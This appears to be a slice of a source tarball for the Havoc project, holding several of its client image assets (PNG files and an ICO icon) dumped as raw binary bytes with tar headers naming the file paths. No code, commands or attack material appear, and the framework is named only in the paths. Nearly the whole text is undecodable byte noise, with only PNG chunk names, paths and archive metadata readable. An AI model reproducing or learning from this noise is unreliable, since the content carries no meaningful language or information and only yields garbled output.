J|8fbe")DY2ۗY]3e )+cP^ L)'/d_O˾GԀz1O~1c'>a=_k±clPF7)e_h\x+JHڮ;cl*(A LJjHڲOö's_cSN.xJYfEiG AĹײOVs}e(JL f1& J.zl{G AI_Ks*Z*ƀY8v epѮ5C4/k^(߻ @Y0ד`vQi>(_JXN|M]}g7<7tS/_'jpO=TX|Nvt!M*0];1vȡ4dcze[ߍ7 }Jj@<#A ȧc/NN<!Nz_d?czE?t[j@<##@ ȯUmՒ?Gj/҉{x*;AԀ|o{9NfZOm⊲?CPç@ ~ Fյq}p=Ve^M er2g1F P7(NNi9W2\RPRH?䚇X`k;<!wߍkwoXv>)e[,xRbohgA ׾  MOtLlczrر3AԀz&`#MfZr!^좄Z*ʺGR SJ a@$P:thW\r89c/;D}В病1A ߯A Htݘ,R取m}n~~c/J(Z"?\ofiA3J <''~VvxK_N0,] ڌYx|;bŃײM1N<8~-J?}LĘb qno}qr];~J_ʆ}`X_A5v Qw1&?>Sx[)\Tv%@0}@05o~s>wUcwc>֒@iǃX:BG  Ȁkqr*k*HeCqV6x}k@&sko~k/4JAH2RWv<=}S qj@M %jǃA pj@feǃ8~My~nkǃA  sR\qr%}Fvy'߯^)pG>򑫕 C_7#e;&5Y3<3ٙ@+ږ<8~-o RqI 255@ؚ_+Uy\ezpPRvL),,/2/l{9~F H A)+yJeCYe[8'㑂@Y=<Ͽ\.CAFZI^ǂ඿P<( NNfmy %ϯ@Ϗிz RUQ6HH C7}Ԁ(hjSWY<81!gN_5 * VRSB;:CKa~L}ϩ/-v@'!>sԩ1u2 8נDKrew[jB5z k|pi"ko*Lj@;7l+ekm}i_3A5` 򠆔C2^9"76Rѣ-H\w e"{%.8rr᭷j㎹;e"%>L!hxvBAI1kT l{ͱcjR~2~ '8c*$G @N/q:j~P/;)9ef گ~лA Ȼ* S ܾOKPV_UTqix#G5@dy9r "85_92`;+9"я';~gJ00BNAŁg1Ǐ~mpj@AHee Pz׻y~ۿ}+$a; 8>~0,ֳ%H`AVUlj% j~ST >~0l }&ߦ~@S.I},65 v@Vtory>$#mM>0և M_SHtq-kλm7t<%reO˗X}X}i;lȚҾ*Wh߷!Ty-128}O-Ye)]2 XN)XV_Uh&;ѵC?N} L]7I:aWc9%Ik F'C<8nbtXGANP;;V&hGANPsB F'ļo)d *Ǟ@>) ,ӣG ANP }Kp)@Fk __,K*#$x1@f@z;9—V_$ɐAg鮿Z}Bԯ?Ԁ,ڧPo Ԁ2 LԀz>!} 5 vZ ba^Z}Ԁ6/| 0)RT|Bw},p@?A0[o'A p_ 4 ( ` j6khz;9}LV_hPj!//߹/T\w`j@Z}-߹/X}{PJgqQzAfjSv 'ԀhL> 8`}ef IDAT`M_ 56ArUrV+0ƁPo'W&jU_OԀz1,$E5'1,+a51`! CRSX jp;﫾jM1 >j-C~W65 |)@_{/ õe > 0_A W A CZ}UY1 >~!(*^Bu+~IR˵_y啅~ AKj }J{/Ǿwͷ(5޾OPk_Rj@QA p_}-]cͷ5޾OPG_ ]^[ j56j@;ieŽcOo >(5e}F4F ԀR:"DOo w8@S?ߩ}4JԀ$kT87pٗA ՗v/[]7IX0մ5(x 5 l>I=Y !j_>|U*.R\ Jvr!DӇw"9}No,C =P j@}) pVnSBF h5]JZWE@%Ԁr_ _%KH(Pv}MDyٶH O )RT|BJd4Z[[۵M[Ȁ v0LmUk@m'ˬ/k_mloo_&@^m7$z/>m`P5 l>A _}}d j@}F_z_IX Ȗ@a`s/l`HŃ·Ԁ4ym}s X !iE{c/ Q iPo'1˵6' q>t@  AR&>1|)df+_p.ygm_r2;dmSLK[kHS2be8} kJG6ʧ} /b_|ӆA9k8P *>j5P`%78ʕQH0PO$@* jC@8]& ѵOJc2}9 ˸~!HʺǮ\r@\*LvkA >ALQv]+N 6R\ l\R& +W: du,TF7s.^rn;@'P _SŶվPo _so_ aA Ċj _r𯊷`{{*- b9wʕ+/#|*Ȏ- \m]r:@ 5`}+@ ȧ}Ԁ^|lwwYſ6B(emRԀ5`%[A H`X }RQ +E*/,quCKB*宀/z}~}nгt'(cxP}'o J810ۦv'wwwgC @Ƙ}0Ԁz>!H rwwl_Cfk 56AL;J*hN}B@q`P@ MN ~lHpJ ~fŃd3=0xH(%_> <t*7Pi? iu*P(|}$־;;;I  @0\4sF[`^?4J׎Gă;;;em6ii%R Ǹ~~~7>}V\~vI>msU={ק;&' ɍn4Qr}HX}Hs||hhΝ;?Idɒ:pv,3e@(XnAQ[۷oѣGOsA:p@ ȑ#l s2I;$谒|ʼnݻwk.]8( @G'&p8q֯_Ȑw y%6}zlOhlY-06:{E?N.\;y nݺC ь3T9)sǴgϞηnݪ?&xy16Ғ b_ҦMtJS<I&x:vMݴ61ǥzHX}ܹsŋkx5@~Æ j*o\F9sgڜw4s̆s|T^b+o6A,\P~3hDɔJ%_NŦ׈  p4[.e˖˗/ו=mκ{yoٲEM>X}pjA2׈`o5kV29!YCa8 Cmc~=ny@/^{ 2;T̰1XCL0A4#'AnxG]]EePv]V}TUwaT>TuEAmc̙DV01cw'":? Zf͚5FD埢(=i(ѡ꿍(fZHDh-Ji9"]%'D p4HTmj߀EQ 000u}1ŴjRtuU^l( ȥٳgo˲k7,ˀťP{1*{YmQ3`\ziv nUkC0sYXQtדǴkm)ؾڰcrI %AM}7i ٦hbjG("1n $=)mߤT0-Zti|1O;PfxL,x`!Ǹ-مKѸ}_|nUW]C ˲j܀p4w\^k;GmBN)MwI AL !H| ~K?7RKԦRf~t k:$h >4fcfC W/R_Z1}zJPL'ϵAߵj~Ŷk>!]HSAf/⵾նhlKPL'mIm…OW_}EwuWɽ˞M?R56 5ERߌu֕ ^:][h ulx)[k#:iiw?~m{t?s=4>>c3%v,ɿ:w rA4cnK/Dk׮&&&W_~˒l4R5v3(HZbrz_&yeϝ;&5ѐ840JLkX!inzR8qDǏ{6|#>S/]kȿTMt 495 ?3} ;@.Q۷olZC~jfI.BqreOke@ V %ls¥"CץJPj% LrQG-뼍[G6GGyA~H~KmfFA[\K[ok7|S ފmrc /Z/̐9@UZkxbymxm;)7`"v-h13R5g5{ΝdɒnZ{_/^|t 1~kv1k)P\-ESɓ'iƍ.Ƕ(Q6fm@5P>)%~gڴiSLۖ׆^x-[Ysxom@x)`R_!;vRJ p~iҥ@Y>S/lϖ%g q!4^j$[A e?;vq~>(fq?MεUψk9uTYZA 2;n*/,E;~A##BlȮZ/Me6UsOD>*wD|:>져bOhcΜ9>&vd:hCx(rxzvPl6{X16G 'S(mep|M 1]8xdƗ|᥾vqЎ&yQ s/}^%HƣHJ qu45v+gpdqw:$_cx&!SM&%n)6opl) Sb$޽Nͦv`R@c5orN  ;ژruJ}5J 9:w(+ 𮇃l?) ~CDqIۏJ s{o(7c ۯ+gc N G 3@Ngo:k׮16ppȆ]mލU`(Ç{v\Ҷ㵁fh5K 8IOIlQ{w5Ik(8Ct׮ ]%@r9fck0tk{+EA#_g6= 7Koqw)AC!-_S'&@:O\[o-q9w # &'Ɣ>FGG;ӣ ACkcSsV\=GӻΓ7)C14N14ᚏb3B HIZTIr}F\FIIZO^L4Mt'im~J ̳_G׀q~Yq9Kdפ(cy;YS$ *& 8rBGʦ,Pti}ɫil@@>ΆCy9Z֔dĵ9C8 jg&\B6H׀+c>`~F*%rtC;B@6Ȯw*`qd:%B;C_hq)R}U/YLQ (W?&%1.l+n)QDӹP,d=m?ߋ9 t:D*`߉Q/:?861g[/N&)&+}TIS$<ޝ5 oi{lWv[Ѵ R4F5UE+u>ԌE1zA jדM3|蕴&qmx7&3l m!w ႋ7 +c+$Ԙ\r6oVSCr 6TxHCby罟AХz:[ 9؀8+烵^B1v% '>$ЯK`Z'ƪi^p]-/7H迂8IENDB`havoc-0.6~git20240910.69ce17c/client/data/img/HavocImages/Boarder/Havoc.png000066400000000000000000000213641467014221700255520ustar00rootroot00000000000000PNG  IHDR\rf pHYso% IDATx]K7{bV`"!;{ρfffǬ}xH raR Q:)ٯ1e3X`D fffG,r9H2vh!ANa`Chkr& *޿6<Ǽ7`׍1B333\jS$6 ڥ8N[l8*NLj@ʈM`˖-\TaH11ޠ+ArCR 9^H 1^ - P>TlDrPʧ;T1?WF*K}98m*X{.Bv=Nq:@ c<{M zS[lY]#5ПUA}ڵ}gʿyO*x![.F#"6(7ЏOdHMMMyQuzfrRTJ8OMM-щn:W=سa뮒frJs0#=;55518 {Ǘ"5H hc5lݺukIj@^IjodBVPI?"9H L}[`,;(AZ0;;e?RrHΩ)݆`vvv~S˗Aj@f *n/Ԁ *h$@j@RrM:.*A-b/ԀԠ!u tEmgCdӷ=Re¶g;I;گ6H Aj`H>m\^dHj ͔ )@"DJ8餓 WȤ!9RpH.d#]Tp˹.}qWۅCleeEj1*MK!U)Գ>Ǐƞ={9õi_' aqc:FN'AϏpG:B)k))$#a }%BaԗpI',#H) Z.@,] RiButjH xŽ^Osp'i6#5CWT<;EO rL}9rS1DKb>O>0t5η7@%U-.lR@Ԁ08c`n G6x8 m-e{} >N*/B_ BRlI!1x†0`b,{Ԁ-zbSc:4tՀo{ ";tj P01E1l$m۶-jRU; lX 5ZtkjEDRBj`zcٜCjԀCS@/tP.Ԁ};O|~jnnn!cV\F9RWHB4!(Ɇ|#5I G  Fc%H ӆ _.( v'/>}]u#ю@FN.}8iE!@w1RQPrn ' L 2CQ>@ t053h#fnjBm6[a @6ו[Qb=̴?5*U lrpLRyh_9br\PLNj > #fǦ(] $H a2R6ˑKI %s=m߮]b}L1lY hFp_Wo̵%}g\P %9v뭷W_}]y啓/@JJu?q%W^yeB۶m]>5P45` :RعsD?3N㎳*gPب#uGs96pN]/81; ?5jH;+k+^+9,n~Rb\k. |;:0o}"12c"oczyҧ빮6_RK{M҆"B16ھI_J 2=sI Y{ao󯭭G_2;|8tBbA l2aORn}:V\so׿5VWWc:Aj `kd3e 16djrn$"%;gy&/3 kAXҶ"u- "e5Ǭn M.b Y_ G}TZW`jԀpIlOr[n᎙q~X_C k Rjp`3R~S NrO掙q>eejXs!B ?bBwV1δ?mH6q玙rUI_Nѐwͨ9r;H|b}OV[`!'W☶VJ i wLmƏ8 >WBWaj j@Loq>ߕOj 65Rso5Pe@^dc*3yNxHH6H}z}t*$lČ/-He&dI v)wMڅ&]gZH} p%!p|Uns 챀V@{jj 5d1dַ qid`B AlrPT?R~w=η#|zyX!˄X6 -#A:f}{1廐c lۖAj̦/{Ex 3S<ز1H6ƒf!\;D=FH}8U{ ɧ"f!a`H{ }v 7Lbl.B !8Ԁ)l>۪}3wY#^p|zH ȑ H hγ{lyrm%6|1 d.Pob VZ޷8ozBI~}ڂ6 49$e!1|H}8 F՞]wAB]{0R^mlƶg 8=ƲڻO.vNN#h"{ol^;lX jxɹT<*]pW?/Of59.;ۇ|8K*6DmL kK/?'ZN<8 Xe׿n SO?+ XuPA6NݾeƤov+T6|#|"|3˗#}H.6W2!!TĆ$ A]/@Bx_fRz0"0I{8p0C.j ,1]7MD牀'!Uv%آ쭷޲~056i@`ԮM{1BoT"FBM6&LC>EkcRq͹]ur)N1t؎޶sm6&U.dcR>x |8_*6|8hDO5^K<8>6`vFO%]˚UFXuCF)#1^1ЃE c77yژF$]D!ImA`9s7&E) D^|$dӷCVA@f[zH n> PmL= $dC#mڙMˬnrf؇~97٘T=ژTYCф^p`7b}ُzbzYbһ=ژԤow34(- D=/ inLj3F$>|SPHFމJl`j fq5[1}mLB jgj7FI!t.Ώ8duƈ7|q-xTEC@9CԘ #o1isXC5ίx?2Wcn/RFY͍Imn*,}&h wjrI \Մ"xs]Cqa@@Džu5R' CS 9 Yg36&LڳklH6"$d.\aR_ )R \3kB 3-t[@B.`o>Cr:@\ᰈ]gZ8-lfZN6xIW \e`6%CSp4q'$&QH6:$ԧ#Q $Ol j3ke=(8_5&>* q>LMj@FP#®i$ur_wLus`9c:ldE,v{p~8kWWWc:B8^YCB6~͎j Jlcƌ? ]|VcrSl eQGዏ8~Hs<]cAdl|RȚj#ƿc&F RW5Fٵ cHh`  *|cc{J6B2lC5RQȤy睓q>Joz+ A9U$d;;GC6#x=$6e]3$6~] L#و~lAL5@6$xHϲCbVaYO|Wt !> r%mfrMlK5b]gZqx{1e 0R6'X `YU1]8>v{,Ls(lĬR9dI \L LJө7|8d#3M3EjclcRcK:}_dSQT mƁ u&A @ḅ5Ԁ>Vم\pPd=X^ lKR0l| [n-,,LfmBgkct>ߍ " qEvQ \O=a:U }\b$t 1/..N$3& ٞ 94H A`XjȖvޭ>JVDP}mض] կN}%F{Y Uj/U=|}QhS VZuwd!n1\]7@ 2D,d, Bj>eO5@rc!pG5zD{B[ I   iv'5 F_ D@8 tR@j@D8Cc+u5@rTR!!XgRb&=*c BQ JJ?B% F2ۛ`CI}yIG1vwP4i<kt:Lۿl߾}M{m9؜㩯>ۿPa/p!qp& X_6k/נU0Q`a009?|=A@܀ (7`N$J HT ~q4.0ACRkZP,sEC-_Džm* aH1;~tݿ m@*aHj=#5"IAJH9AX%'T0U 0AՀ L^[[3^7& K'B9̗ |ҊP:@!knmm $ur:n\ xh߮Y?oMha7Ω[q ǝ* : 5 XFi|R GWWW&  A@ F[]]ctHIDAT"Sރj[]] D<{t~$-ws 1;?`ʅ 68<$ڃ@J❛; vq $Jxr߳~I@ Z.$@B$V9~=]$I v/wEPc~~~Gs*%&Xx ~>< " @"kdC5*"X&rq@*GpiETC@0"8\%-4Q-.U@aA+ճ,>dlQ4Ad@0;읾 3 HҜ !,T; *6v6E"T0W\E  !$|sVjx0?ȯsIENDB`havoc-0.6~git20240910.69ce17c/client/data/img/HavocImages/Full/000077500000000000000000000000001467014221700233225ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/client/data/img/HavocImages/Full/Asset 81024.png000066400000000000000000000404541467014221700255550ustar00rootroot00000000000000PNG  IHDR+ pHYs V V IDATxQcWPkr=D&#(`G<x"Wߕo^KM$$zeG^8~(@ P @(@ P @(@ P @(@ P @(@ P @(@ P @(@ P @(@ P @(@ P @(@ P @(@ P @(@ P @(@ P?|ؖ7_Ç@U?y^o*1 P @(@ P @(@ P @(@ P @(@ P @(@ P @(@ P @(@ P @(@  T7_?h`@i߿?ً#_N~畿` @(@ P @(@ P @(@ P @(@ P @(@ P @(@ P @(@ P @(@ P @(@ P @(@ P @(@ P @(@ P @(@ P @(@ P @(@ P @(@ P @(@ P @(@ آs9|>?駟1oNa?qryyޒ`C5ɷ~o;%+v~;y||4sy]4siqB@vE63g^+gP`0h6  Rr۞?g:PF9mG/_d9ҍ}-h>sy-1;xcd?|>ߛ9HHa! "v,;DSY@AOӓ۽w7 69d73 !R3/[&`ɜ n,/̿'l8ϳ~?g^+)`C3HVB Zn_U ^Msϑ Z`ߗ `/d?O==='Ѩy^C̹7c<7 Fg_~&M;[Z4v v&sh?_`Dv"7ۙe:www?sͧ9`2Awd?`+9GG/..`D.6*sΗv"_x `c2%˜ų~%jٶٿo656?CH @}a "mK⿯}_|p{xxhn/%$ʙ__Y#gs\ߑ9h#,{H|R~}}?Rx~:2D(}?s_]]5=[?E-R-s(]+pPp8l \@fB"$#6 ݻw٬)r/ PSiK @`AHP~sB"zp$=7Z_3翔(AY?-}y/9%!@mT?8Tm |>Wwd45=G?@a8@u׾}wwwM`!}F;o[GLӕϪC~Vho}:22|VhD3{,-֞nR_B{W/%$j/A={'Q-$$Jg%$OMe \Ks)!Qf2XH wKߒp\o/ ֛fM/$XO{ \ }½>'$K~D'74N wUBqs6B"/ MᯅO *!z B" PZӦH h4jB{8;; `Gږv}ir!Q~VD/c,7wۧ{UB̳ﻻkƜ?`KrS-n_ZS](t:]9_lX=iγ~Zڳx||Tw$$h? v-}Z,!Q~2 `rSqvh^%$Z/!Q ;!Gn???wiN?LV>JH^BBO/{;_D%$JRZSX֧ ݿ/ D'gJ w \p"B"!/H wbbN `0hnD}٬Y-|F -ܫp?!$KHߡ oOk æhݧ{hxܜ`C z؞v-KB"?+B" ,[iFB{DgggͲL?~P^~}}](zݾa2$BD !$F(+7`O Dg7wwwל9 Twۗsd峪D%$t:]9e;Z-܊, ...`DpxtPBZ3O w_Bg%$O.G-7)ZNOO};p(3vB>#n )-WWWZ;ڳUw$$ʳ~B;_%-ܫfrߟ,?8LAgi[CSй]}ZA 6fV>j86OHPsZp ϊ/;!9#$@R\׾_HHxzzRw$$Fϊ-ecm} ٘GAhoi^Y 0^kC , ...`DPn%MH w#>%!Qb2|OPPd:G5gc.{>??MH w9K rzzYeB">o.-ܹM I ,2_JHtuu#>Eo*[s/- E,m[HH훛*KHߟ|iK -륅;K r&vB Zv*-)Z.//|GZs.Y~BB}٬D/}½$$Z/RN zMA{)?'BUB"6A hݧ{p8l~VD} MH&ظݧ{hH/$`qlR\7vBBӓ#!h4j~Vl6B zZW "A9D9slWioi^g"$KHPd:|di#-خ{=GGB&Q Zt븻=BOD 6ϖtC ?gŜ_B-ڛʴp+pjVߑ F|RZs[yss?RRZs/BBg%$H½^ZSyo g/sB"p/-9Ll{xx(Fҁt?Ŝ%!z٬Yi4-}~B>!BPp8l :-}ZW_Hj<7g#$  MᯅO *!z B"7[u;mOOOpF&Q/gqȳ~y?{@uݾar_H׆DYpT-nUHPdο9s:Me }iN17LV>JH^BLӵ1pd|H wK0_h ...`D1pDҞ_ wD9*KHߟA1Tp9==½JH^BvQ&+#mgO )-WWWZ;ڳUw$$ʳ~BP{;_f}YP@tikC|2H! DZS7͚"7YJp{`0hnD}B"XZWiKCHԗ(C9@aShvDlD$#Z˳~)p/ }Oة-OOOpFf={GBeXO's}iNk~{BD !$/3^I wfڧөo_rg7wwwל9x{!-)&o_Ξgu e-܊, ...`D_OoF w_s777+U(g^NΥ;3햶-gfx=;skg!9fY !$½9+UvB"<[tZ9|iv -ܫaS'$QZW 7ߗY~($9)mW/?gHH4?^-&W R_(gcvOi^groοOHo_M , ...`DoKWk,c1石;YL&3;3ԁ%yvs} r6`psv|V"7_nrч*KHN?~"-),m[ȜnonnV>LHEGiNoR˙Є"B"8sZ2flSmZ2rʄDpEi^?gY>!@1ZW æ5ߗف $#@ iF'@,yك!(`<|Þų~ezz䯣 "$ci^KHs1Kp-R'VIHPd:|#G$-خ{=RBf_57Y"7gT]7$JGPlZo^ZSW%$*-WWWZBoB<'$mRp{rcp?=vp&W f[@ C!`OOiގ9C'$KgpNXH<`OdcJO?/HHB"o,7УѨ½{=!hC<'$ /| -iE{hU;8حw2H ?{O}tww'$Mn6N޽{ߥS&۷'~ v(-0N~$٧mHK!B^^^~k)ס.|||lB";²}o28=rnمDڝi^w{}}sD, mvK BU΃\S XlIZ] I\ IDAT-DYj'$ZMn˜|.bH|?M?{?Sombs?O??si}Y~=}w}>|H_|UAi΍vö_]]}Rǝ[seaߗA< r?CS|h?|)Ӗ 휿hy9ӕϿVCvkB"0͚9r<6,؞9_*>|2H>Om w"}hUcmCZs[a{2H>O"rCgF#!QGv-v6$~%x<k#ՆDZ,-ܻ?'E$]"8-*jɂ?!$Zto=l æAvu}&YHy9¸tp;2ȄD\ z5nZ)dw gD ΃؞ OoT#H ?S-t喲,`Y6?==v2H -{$b9ZY׆D\ @o"mWIQnqgY3Hx[3k@e>wH,nedV,iN17;=  E=ϜV= ]mHo X.cx-Oyp;e;"Ed2i6g~Y RsࣴpgKz|1Jkg_8 9Mx !@q WͿ_]Y!$8F(*7 O wō,2HPP^^^͓u|ZېؖAT$Bn7'M2 Vzun+DpR涻b?̧5e?ſGzzRw=FM{nYDՖATT&W]s6g!V'#Yo 7K r&B"p$ڍZ2"w2|VUA_HP\ZSf?KO[nD ec{\-}O'Y>w}}4 ʜ S߾6{,%mOvD@;oc_~)t= $S2m@Ĝe|`0hnrmlfMk2H%7ezzRwYh#,noo|#i7j<7gc!s9˕Samο/ݜePnrտ/$$7s\ߑ9<`DWw;(ڝDO&{긻kݴq#$nHd$@mF[LAwzzԑ% KH1}?iNkceY :FZSt;H.ֳ 2m7}MAgiۂh=!!M;m}٬)t/%$Jkο/s%D7#7)/Ye|-smo<7, `D &ל_nrޮ{ϗvou)Zec{ KAg$`iiFM!!QVߑegggMV27Z=g{2'g"`,e?t:]WedFH ؈vcVȝL&+U%$Z2H^%-ܹpgc{B )]\\4m23Z2PD1ІD+U(?9_-7)\NOO^GZSdzA<[ZS;p\; B,- ph}US]'$`p D/!gsB"AS7͚BלeY =Mӓ#7Ѩ F Y*;yr[ixζ , Me Sߊp'N+UHbο2HxMe s߂p}2Du;-777#- Dll_ r= e;)pp=<<|܁Sڐ>x;Eܾl- 2 [ntMo22!!`KRuۗ/Yey MAgc{_nrޮ{v6d04E9½2Hخo/&7mOOOF]񿐐(gq{{2ȳ{F#xҒxq!ѧ$$e=[ܾ'N+Uez r6`w_!)e?Ed2Y* ׳ ގgH w|H w6'Q/; 2? ן5nڸ}e?|Bn*SНE;Ebn)9s} r6`?^~~YeiN,XeI wG7O(&wAHevMnCSYڶ $Z/s D&Jz٬)t/%$Jkο/s)D@i)KMo2,@cGGGB&QaP\nr {ϗv>  nqaSZg$#Ť{45-`М# Κ`DO@!؞\- iύg%$ʂ p<d?t:K \s 2g#$#8bO;L|տ2H8~#o&Yw9 KLNsGB9ghy&w45 Y*;yX`ύ&W Bs+Uf$%=nqRug$=)/ æ?YeA_C'ڍf!;r&޽s"B"%,|KjmK⿯}_`0o_v ^%egΚ=`x̸gֽFߒ?`_ xeEi"s?c` ؘ.!E3BL&feο}/FFc@^9H1C%`x y/oM!? 9f߳~q-?vv0|asC&`+.!=  .Hdv~ff8~%`k2??s7T ` Y?s@%*mYҍ?Orl]峀YF9qa pHYsjj{6vIDATxq0F;yK:%P%AH) (T; 3^$AΙهXxRdAq@Aq@Aq@ C4b 8  8 :bӌ9._K  8  8  8  8 70's @-^f[@UUv{x{{ zž@'6Ms<;7ۆ=Or !|||xj 0 0'e ^fyj:׹dݞaZ!;F"zv;zVui#:p8D;~oOb6B - $un뜳yB>z9gΝueqmp8kccxrgVSx`Rٹbeq>5C@-b|H%6C@(Ue- $@̤J ,@얕X@-άcc|J`,s @X=zX D*rVLTqVj%F(@8+# 8ΏZ D pKqfӟ!IJJn QC{,-8FD8μg%+6(FcVm8זc`$3CHe*h  % 'pQj%003Ti8;׊6zY;+p˞@zy[+О"@oENqVrOCBQJ`=޽x!  @+͝{QG DD,vF‘"gO`_t#@+0BJҝZ D ۫7[`@RO}tozGwstb@ߟnaXۭ-S}پ_uwt_ oŋ 8  8  8  8 Sz=#@A!@Aq@y9 Aq@Aq@Aq@P&.({|IENDB`havoc-0.6~git20240910.69ce17c/client/data/img/HavocImages/Full/Asset 816.png000066400000000000000000000004471467014221700254130ustar00rootroot00000000000000PNG  IHDRa pHYs--q}ZIDAT8 0߆sJH r KH EL&k_Gz};Woc{w^lc^.󻰽k:! dmm]ׂ|Rlk. Y3Wیc<V[~r {#?ry+.cpP `24l6k6޶O Q!Wmc%DD~\9Oisp۞kl<ϣ/ !bG.{stIdȟ0Z6#uF}h#%6)!//|M8Ώ(!d#0~X'cq}^__=~DM6F٘$[l8οwbGU"?~.vF+ !.+Xyx__dcD a<]h^w&#JP r8?ѓr^}j=Gdl$aa0ID  M(t,$ 'e\kAg(L+L6*aYQFl3T Wd:M7˵H0 tIf*L+&%Dބ >񳬜tB|"6.8MP 3td:MGpeX9iC$O `_wiiW" t "VE]+tNӕKD4]ͧ~Qrt?1^__}Nk߃Zԑ{C=]y/VCɿ"&X"1$ʦuܶ>ѓ{x[hc}+ 'mP{m⚀m(+ `+6! Xhe#pfX9gɪ-m72V6R!Wlcɲr;A¤C^ R!zM@@˯F $ l=b&)J@QJ3FqzzڬUKF隀 H5QwAB"?G, $pw ڞ vlh\_.LچM" 0id&@H(Q%8d&`d:tym ve\kDO6n:o{=8d@$knV@W&)jZ9|d#P-6n9إ(jZ975wwHsQd#P-"Q+".L5)! Z`tKL@ޒ4LoE~'rwnƿCTT1;](jSc\DАwE~ͱ[.H@ rnSL6 P- _f;M;ٸk.,"NӍZlG~ɰr$lp%bwNӭ Zϯ4ZE~\ٵ"L6 N;peOOOe2rMrrr>;a-I=sYP#Tҥe'bV(:|ӓ_]]}a6e& zN鴙'n߾}+шH<>>3 N6Bۮ h Ķ8gGW@BVICRF$d6 g1vA$e_x\E˟{/mo / 1̳|aC+~ >f1=6~ Q0 F(@a Q0 F(@a Q0 F(@a Q0 F(@a QOh\ |(dt:0 F(@a Q0 F(@a SJY Q0 F(@a Q0 F(@a Q0 F(@a.)D-IENDB`havoc-0.6~git20240910.69ce17c/client/data/img/HavocImages/Full/Asset 832.png000066400000000000000000000006701467014221700254070ustar00rootroot00000000000000PNG  IHDR szz pHYsZZ$jIDATXW  ( HXv` ` `b v@ vgH &'xAD' sR:!Bh v +d Ƙ3[ I":RJQ4\ ##wQgYi97rgyUU溮+ !m[gM*0 32oV{08MmL,Ҍ9w$"h〇Mm`[~+ @h c[w 0Qo C&}1Sj y?=y;>>9H#^ǃo )@s{{{l?~_TX,Oggg?3[ط&#M>pzz}gg9W%S 0L^~!e$ÿ[WWWB|gi m#=0C.8Dc,Û9"DX-{{{ߴ37kC6>GQB2 'PdQeϒxe lM x-fn16eb]m1[;h ~Ieٮ鍋'ª4)io$7,7 x{/b]*rqм9fxi R8f~\+<Ae5 &C> d;&v<vZphM?v,_˶Adc]^`Jd-;D&*풭[sxd } akzE/U%CphM?)-Ҳd[̖;D`K*kǃHpi CkAl X bys̸W|2ADiMlcǎ!?-(ǎ(2J,͏"rG3Tϲ͎y i @sMH i)L "Kė% b6;DdҤ]5"ەGo߾uGGGy/mww;;;{?Mwzz:u,Nkfٖ7u| _6LWD/S%spMokzE&*풱d7V,e1Nw||<Ǐ{?lU Kf ~ΰ5"2b|. @Ck^1. @{3;WT K>􊔌vd:&o,d|={;<ٰYCI ̃o=8e}'zx+3 b])S_sw=@ɲ!p۾Vcٱ|@ Hegc:88pd$ay88=>}MH|'1fbŋoˇZϟ?xyߵ@=0YYG27!1`jS,A fw5ǛW^^{`,f1Zx &!~om85)X|oJly~{1(x(ob* <l54E%kX7-)!iXRU<^9V, 0<; XA,[}>dowi8@F (=׶> +p|od:`XSl z\ l)(H(H(H(H(H(H(H(H(H(H(H(H(H(H(H(H(H(H(H(H(H(H(H(H(H(H(H(H(H(H(H(H(H(H(Ht]__wkcρ%\^^v2)(H(H(H(H(H(H(H(H(H(H(H(H(H(H(H(H(Huwx)P)P)P)P)P)P)P)P)P)P)P)P)P)P)P)P)P)P)P)P)P)P)P)P)Pt]ef&#IENDB`havoc-0.6~git20240910.69ce17c/client/data/img/HavocImages/Full/Asset 864.png000066400000000000000000000013121467014221700254060ustar00rootroot00000000000000PNG  IHDR@@iq pHYs9Ο|IDATx0^#0#l #|ͫizMؾ\V^{`B9w"ae4*r|F߭Qike,>\AZ|giEQc>} DL0S@<%4Mϕ$Z\GEZ@p8MӐs\tF.q sL Si:m;aqNeҧL[@$v{ᘂu$ EA"4Gc``(^u8PpԨ.0#pC`{vP)3f&ANtfOM"9 LM eYc`9|kn"2:lgSMk z:Y w+Aslm8z`k{(jT.u `N% 磥MJ0(X9efyy HMv~l lɑwȌОjH۵:o8٠l :ʡ;H-j'\ÕCp+9p#ld]5[r(Fk{k pg{>>ڶȋmBUW;"K{k9>Q p+Gۗĵ2nSP7÷Mʡoƣv PPý9OkٷMi-MZ)( ɮCDW'//@Z~D;,\kW)@>0^ x:.Kuc?Y,kcMe)n~>|>v]`eYsT/|{@nYvMQm17db| 0P C`( 0e-o$4>#ǿb` C`( 0`p ]}B,A`( 0P @byvi IENDB`havoc-0.6~git20240910.69ce17c/client/data/img/HavocImages/Icon.ico000066400000000000000000002414461467014221700240170ustar00rootroot00000000000000 hF  00 %V (:(  --nnnlll  ### ... zzz ... ''' ttt (((   ddd  aaa( @ ZZ@@  00 BBB PPP @PPP??? @PPPMMM PPPMMM PPPLLL PPP"""KKK OOOlllzzzJJJ ===LLLJJJ lllWWW+++ III  iiiiiiXXX ---TTT LLLJJJJJJ***))) ,,,+++HHHHHH GGGTTT((( XXXffffff III ***SSSddd HHH GGG444 GGG tttdddDDD GGG DDD GGGDDD FFFCCC EEECCC @ 666BBB@ BBB 222 00  @@(0` $PPpp00```PPPBBB`00p p P P    111 MMM 111/// ??? lll ...ZZZ !!!KKK;;; ...JJJhhh KKK+++ hhh*** jjjYYY+++*** GGG JJJ +++***XXX fff+++ggg ***GGG ggg GGG''' 999GGG  WWW'''ddd 666 '''&&& EEE %%%     P P  p p  0 0 ` 222AAA```00ppPP( jj PP PP00@@@@PP0000@@@@0000PP  @ @ @???NNNMMMMMMMMM @ 0 0  P P    P P        ??? 111??? !!! NNN \\\ /// lll!!! NNNMMMyyy 000kkkKKK 111 --- NNNkkk... zzz===KKKiii !!!iiiJJJ >>>+++ \\\KKK,,, ,,,JJJggg ... www999 KKKxxx  iiiJJJ ::: +++ XXX ,,,  JJJggg ***  hhhggg GGG === +++  fff --- JJJ ***ggg   hhh*** HHH ((( iii  *** 777 JJJ hhhggg  gggHHH  *** YYY *** ::: HHHfff  vvvGGG  ;;;vvv (((  gggHHH )))  ))) GGGUUU *** 666 HHHfff  fffGGG 666ttt ((( eeeEEE )))%%% GGGeee&&& uuu666EEE ddd 666 UUU DDD  EEE%%% 555        P P      P P   0 0  @ EEEEEEEEEEEE666@  @ @    P P    0 0 0 0 @ @ @ @0000PP@@@@00PP PP ????havoc-0.6~git20240910.69ce17c/client/data/img/Settings-icon.png000066400000000000000000012067211467014221700234770ustar00rootroot00000000000000PNG  IHDR?]sRGBgAMA a pHYs.#.#x?vIDATx^{{(RUT^,((( ¯(6bdž*"(( "M 